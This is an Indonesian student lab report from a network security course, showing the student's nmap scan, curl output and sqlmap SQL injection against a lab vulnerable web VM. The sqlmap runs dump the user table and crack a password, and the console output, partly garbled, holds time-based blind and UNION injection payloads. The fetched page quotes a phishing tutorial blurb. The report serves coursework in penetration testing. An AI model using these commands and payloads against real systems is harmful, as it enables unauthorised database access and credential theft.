PRAKTIKUM KEMANAN JARINGAN LAST ASSIGNMENT



Dosen Pengampu:

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KELAS D4 LJ TI B JURUSAN D4 TEKNIK INFORMATIKA POLITEKNIK ELEKTRONIKA NEGERI SURABAYA 2023

TUGAS PRAKTIKUM KEMANAN JARINGAN

Tugas

Mencari kerentanan pada VDI yang ada pada link berikut

(https://drive.google.com/drive/folders/1TDc-MMlATrdMxRnTmSYPEkso49PvLArj?usp=drive_link)

- Mengambil data database Menggunakan (sqlmap)
- Mencari tahu password root Menggunakan (hydra untuk bruteforce attack)

Pengerjaan

1. Cek ip addres linux untuk penetrasi

2. Perintah Ipcalc untuk menghitung rentang IP yang terkait.

3. Perintah Nmap untuk mencari alamat IP target yang ingin diserang atau alamat IP yang terhubung ke rentang yang sama.

```
(root@kali)-[/home/kali]
    n nmap 192.168.56.0/24 -p 22 -- open
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 10:38 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0018s latency).

PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:8C:AD:2C (Oracle VirtualBox virtual NIC)
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.91 seconds
```

4. Cek web server dari alamat IP yang didapat, disini saya menggunakan perintah curl

```
(root@ kali)-[/home/kali]
    curl 192.168.56.101
<head>
<title>VULNWEB28</title>
<link rel="stylesheet" href="css/style.css">
<link rel="shortcut icon" href="img/FIX.jpg" />
</head>
<style type="text/css">
body,td,th {
                font-family: "Times New Roman", Times, serif;
font-size: 16px;
.

√style>
<div id="container">
<div id="header">
<div id="header">
<img src="img/banner.png" width="979" height="150"/>
<div id="menu">
>
<a href="index.php"> HOME </a>
                <a href="?tampil=halaman&id=78"> HACKING </a>
                <a href="?tampil=halaman&id=79"> TUTORIAL </a>
                <a href="?tampil=halaman&id=80"> CHEAT SHEET </a>
                <a href="?tampil=halaman&id=81"> JAVA </a>
                <a href="?tampil=galeri"> GALERI </a>
                <a href="?tampil=kontak"> KONTAK </a>

</div>
<a href="?tampil-artikel_detail&amp;id=85"><img src="gambar/artikel/NEW_3.png" class="gambar-artikel" width="200"></a>
Jumpa lagi bersama saya, pada kesempatan yang berbahagia ini saya akan membagikan sebuah artik
el tentang bagaimana membuat phising terhadap sebuah situs media sosial kenamaan yaitu PATH. Lalu pertanyaannya apakah
bisa kita mendapatkan username dan password dari akun path seseorang dengan memanfaatkan phising ini, jawabannya tent
u bisa dengan memanfaatkan tools setoolkit yang ada di Kali Linux. Lalu pertanyaan selanjutnya adalah bagaimana cara m
endapatkan username dan password tersebut, mari kita liat bersama ulasannya ya sobat progress...</br>
         </div>
<div class="artikel">
<div class="artikel">
<fu class="judul">BYPASS ADMIN OR USER LOGIN TUTORIAL</h2>

<pr
Pada kesempatan yang berbahagia ini saya akan bagikan sedikit cara untuk kita membypass sebuah
laman login tanpa harus tau username dan password dari si website tersebut. Disini saya mengmbil salah satu website y
ang vulner dari VULNWEB dengan url http://testhtml5.vulnweb.com nah disini kita bisa login dengan membypass username d
an password, seperti di bawah ini√br>√br>
```

Disini terlihat bahwa web server terdapat halaman web yang sudah dibuat

5. Coba mencari alamat url yang mengandung parameter id, setelah itu kita lakukan sqlmap terhadap alamat tersebut seperti gambar berikut

6. Jalankan SQLMap untuk melakukan serangan SQL injection. sqlmap -u "URL" --dbs: untuk mendapatkan daftar database yang terhubung.

Result dari command tersebut menampilkan daftar database yang terhubung

7. Pada tahap ini, saya ingin melihat tabel yang ada pada database vulnweb. sqlmap -u "URL" -D vulnweb --tables: untuk melihat daftar tabel yang ada dalam database vulnweb.

```
(1.7.28stable)

[1.7.28stable]

[1.7.28stable]
```

Daftar tabel pada database vulnweb meliputi user, artikel, galeri, halaman, komentar, menu, dan pesan.

8. Selanjutnya, periksa kolom yang ada dalam tabel user. sqlmap -u "URL" -T user --columns: untuk melihat daftar kolom dalam tabel tersebut.

```
| Column | Type: UNION query (NULL) - 6 columns | Payload: tampil-article. detailed-69' UNION query (NULL) - 6 columns | Payload: tampil-article. detailed-69' UNION query (NULL) - 6 columns | Payload: tampil-article. detailed-69' UNION query (NULL) - 6 columns | Payload: tampil-article. detailed-69' UNION query (NULL) - 6 columns | Payload: tampil-article. detailed-69' UNION NULL, NULL, NULL, CONCAT(0*716a707871, 0*6b7845645465466f57704a5447546c4d55614e79 | Columns | Colu
```

Result yang dihasilkan merupakan daftar kolom dalam tabel user.

9. Lanjutkan untuk mendapatkan data dari setiap kolom dalam tabel user. sqlmap -u "URL" -C id_user, password, username --dump: digunakan untuk mendapatkan data id_user, password, dan username.

```
roort®kali)-[/home/kali]
sqlmap -u "http://192.168.56.101/index.php?tampil=artikel_detail&id=69" -C id_user,password,username --dumm
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program
            :35:28] [INFO] resuming back-end DBMS 'mysql'
:35:28] [INFO] testing connection to the target URL
have not declared cookie(s), while server wants to set its own ('PHPSESSID=v5jpal3o91h...4dmpasin9f'). Do you want to use those [Y/n
            ameter: id (GET)
Type: time-based blind
Title: MySOL > 5.0.12 AND time-based blind (query SLEEP)
Payload: tampil=artikel_detail&id=69' AND (SELECT 6811 FROM (SELECT(SLEEP(5)))iunS) AND 'FrsV'='FrsV
           Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: tampil-artikel_detail&id=69' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0×716a707871,0×6b7845645465466f57704a5447546c4d55614e79
46f566f454b5562696c6d717a5054734d6c62,0×716b786b71,NULL,NULL- -
           ING] the SQL query provided does not return any output
] fetching number of column(s) 'id_user,password,username' entries for table 'halaman' in database 'vulnweb
] retrieved: 4
ING] (case) time-based comparison requires reset of statistical model, please wait.....
      id_user | password | username |
      1:36:21] [INFO] table 'vulnweb.halaman' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.56.101/dump/vulnweb/halaman.csv'
1:36:21] [INFO] fetching entries of column(s) 'id_user,password,username' for table 'user' in database 'vulnweb'
1:36:21] [INFO] recognized possible password hashes in column 'password'
1:36:21] [INFO] recognized possible password hashes in column 'password'
1:36:21] [INFO] recognized possible password hashes in column 'password'
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1:36:21] [INFO] recognized possible password hashes in column 'password'
1:36:21] [INFO] recognized possible password hashes in column 'password'
1:36:21] [INFO] recognized possible password hashes in column 'password'
1:36:21] [INFO] recognized possible password ha
[11:36:48] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[11:36:53] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[11:36:53] [INFO] starting 2 processes
[11:37:32] [INFO] cracked password 'vulnweb' for user 'vulnweb'
Database: vulnweb
Table: user
[1 entry]
```

Akhirnya kita berhasil mendapatkan username dan password :)